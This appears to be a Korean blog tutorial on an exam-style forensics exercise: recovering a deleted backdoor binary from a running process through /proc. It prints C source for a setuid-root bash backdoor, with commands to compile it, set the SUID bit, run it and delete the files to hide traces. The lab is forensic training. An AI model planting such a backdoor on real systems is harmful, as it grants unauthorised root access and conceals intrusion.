728x90
반응형
개요
- 실행 파일을 실행 후, 해당 실행 파일을 삭제
- 실행 파일 실행에 따라 프로세스는 Memory에 적재된 상황에 실행파일을 복구하는 방법
시나리오
정보보안기사 15회 실기에 출제된 내용
- 공격자는 백도어를 실행 후 실행 파일 삭제
- 백도어 실행 파일은 삭제됐지만 백도어 프로세스는 Memory에 실행 중
- proc 디렉터리를 통해 백도어 프로세스 복구하기
실습 환경 구축
간단한 백도어 프로그램 ( root 권한으로 bash shell 수행 )
back.c
#include <stdio.h>
main() {
printf("welcome backdoor\nNow your are root\n");
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc를 통해 백도어 컴파일, SetUID 권한 부여
# gcc -o backdoor back.c
# chmod 4775 backdoor
backdoor
시나리오 실습
1. 공격자는 일반 계정으로 접속하여 사전에 업로드 해놓은 backdoor 파일을 실행
- 원격으로 접속
- find 명령어를 통해 backdoor 파일 검색
# find / -perm -4000 | grep backdoor
- backdoor 파일 실행 (root 권한 bash 환경 취득)
# /study/backdoor
- backdoor 코드 및 실행 파일 삭제
- 파일은 삭제 됐지만 root 권한은 현재 유지 중 (backdoor 프로세스가 Memory에 적재 중)
# rm /study/back.c /study/backdoor
2. 관리자는 보안점검 중 backdoor 발견
- 실행 중인 프로세스 확인 중 수상한 프로세스 발견 (pid 9986)
# ps -ef
- 수상한 프로세스 경로 확인
- 그러나 실행 파일은 존재하지 않음
3. proc 디렉터리에 저장된 프로세스를 통해 백도어 프로그램 복구
- proc 디렉터리의 pid 9986 디렉터리 경로 찾기
# cd /proc/9986
# ls
- backdoor 프로그램 실행 명령어 확인
# cat cmdline
- backdoor 프로그램 tmp 디렉터리로 복사 후 파일 확인
# cp exe /tmp
# cd /tmp
# ./exe
- linux strings 명령어를 통해 실행파일 안에 사용된 문자열 확인
# strings exe
728x90